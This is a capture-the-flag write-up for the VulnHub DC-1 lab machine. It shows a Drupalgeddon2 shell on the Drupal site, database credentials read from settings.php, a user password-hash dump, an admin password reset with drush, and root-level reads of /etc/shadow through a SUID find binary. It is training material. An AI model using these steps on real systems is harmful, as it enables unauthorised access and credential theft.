DC-1

Summary

Writeup by Ivy Fae, Sep 12, 2022
VM download & description : https://www.vulnhub.com/entry/dc-1,292/

DC-1 is a CTF with five flags, though the author says only flag 5 is needed. The others are there to help.

Topics:

- find -perm and -exec
- drupal
-

Process

Started with an nmap scan:

```
Host is up (0.00072s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
4/13| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4
111/tcp6 rpcbind
| 100000 3,4
111/udp6 rpcbind
```

```
| 100024 1
34689/tcp status
| 100024 1
48773/tcp6 status
| 100024 1
51409/udp6 status
|_ 100024 1
51918/udp status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
web
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
```

A drupal site! Looks like it's version 7. I've never worked with drupal before, so I poked around and tried some php injection, sql injection, but didn't find anything. I also learned how to list the available XMLRPC methods by sending a `<methodName>system.listMethods</methodName>` request, but I didn't see anything that looked exploitable by means I'm familiar with.
A quick google search of drupal 7 vulnerabilities led to learning about Drupalgeddon and Drupalgeddon2: The Drupening

I found a handy script, drupalgeddon2.rb by Hans Topo and g0tmi1k, and pointed it at my VM, and was presented with a basic shell:

```
whoami
www-data
```

I couldn't run vim or anything interactive through this shell, but I found netcat was installed, so I set up a listener on my Kali machine and continued from there. Unfortunately that was basically the same, but it did keep the connection open longer than the drupalgeddon2 shell. I found a method to upgrade to a full shell using stty, but I couldn't get it to work here, so I moved ahead using echo and cat to do my file editing.

I decided to check out /var/www/html/ and found sites/default/settings.php, which contained FLAG 2.

```
cat settings.php
<?php
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
```

```
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
```

Since I couldn't run mysql without hanging my shell, I used this method to run queries:

```
echo ‘select * from users’’ > sql
mysql -udbuser -pR0ck3t drupaldb < sql

uid name pass mail theme signature signature_format created access login status timezone
language picture init data

0 NULL 0 1 0 0 NULL 0 NULL

1 admin $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR admin@example.com
NULL 1550581826 1 1550582362 1 Australia/Melbourne 0 admin@example.com b:0;

2 Fred $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg fred@example.org
filtered_html 1550581952 1 1550582225 1 Australia/Melbourne 0 fred@example.org b:0;

3 disposable1 $S$D2Rvmj/ror.bq6pogy3uLNuvpeqZ2lk6wiMcwiAbRruAv2rAjL4/ disposable1@asdf.com filtered_html 1662727279 1 0
0 Australia/Melbourne 0 disposable1@asdf.com b:0;
```

The users table contained password hashes (as well as some unapproved users I created while looking for injection attacks) but I didn't recognize the hash format. It seems drupal has its own hashing method. I tried the admin hash in hashes.com just in case, but I didn't get a result. I did, however, find a utility used to change drupal passwords from the command line.

```
drush user-password disposable1 --password='password'
```

I tested it on my "disposable1" account first to see what it would do, then used it to reset the admin password. Since I had write access on the db as www-data, I considered using Fred's account or approving my disposable account and upgrading it to an admin if needed so I could leave the admin account untouched, but I decided it was more important to me at this point to move on and learn more generalized hacking techniques than to learn drupal's internals. So I clobbered the admin account's password.

I logged in as admin. In the drupal site content now visible to me, I found FLAG 3:

"Special PERMS will help FIND the passwd - but you'll need to -exec that
command to work out how to get what's in the shadow."

I needed a refresher on the find command's syntax, but I was not previously aware of its -exec option (as you can see from my pipe to xargs stat for formatting below - I now know I could have also used `-exec ls -ld {} \;` for that as well).

```
find -perm -u=s | xargs stat - --printf "%A\t%U\t%G\t%n"

...
-rwsr-sr-x root mail ./usr/bin/procmail
```

```
-rwsr-xr-x root root ./usr/bin/find
-rwsr-xr-x root root ./usr/sbin/exim4
-rwsr-xr-x root root ./usr/lib/pt_chown
-rwsr-xr-x root root ./usr/lib/openssh/ssh-keysign
-rwsr-xr-x root root ./usr/lib/eject/dmcrypt-get-device
...
```

Find itself has SUID!
Since I needed find to have one result for find to exec on, I just had it find itself, but this was arbitrary:

```
find /usr/bin/find -exec whoami \;
root
```

Neat! Next I used this exec option to dump /etc/passwd and /etc/shadow:

```
find /usr/bin/find -exec cat /etc/shadow \;
```

FLAG 4 was hidden in /etc/shadow in place of another user's hash:

```
root:$6$rhe3rFqk$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K7IqPlbBCmzpokVmn13ZhVyQGrQ4phd/:1
7955:0:99999:7:::
daemon:*:17946:0:99999:7:::
bin:*:17946:0:99999:7:::
...
sshd:*:17946:0:99999:7:::
mysql:!:17946:0:99999:7:::
flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:
17946:0:99999:7:::
```

I tried briefly to crack the hashes, but it was not successful. Luckily, for the purposes of DC-1's challenge, it was not necessary to crack them by brute-force. Using the same -exec method, I checked out root's home dir:

```
find /usr/bin/find -exec ls -al /root \;

total 32
drwx------ 4 root root 4096 Feb 28 2019 .
drwxr-xr-x 23 root root 4096 Feb 19 2019 ..
drwx------ 2 root root 4096 Feb 19 2019 .aptitude
-rw------- 1 root root 44 Feb 28 2019 .bash_history
-rw-r--r-- 1 root root 949 Feb 19 2019 .bashrc
drwxr-xr-x 3 root root 4096 Feb 19 2019 .drush
-rw-r--r-- 1 root root 140 Nov 20 2007 .profile
-rw-r--r-- 1 root root 173 Feb 19 2019 thefinalflag.txt
```

FLAG 5!

```
find /usr/bin/find -exec cat /root/thefinalflag.txt \;

Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
```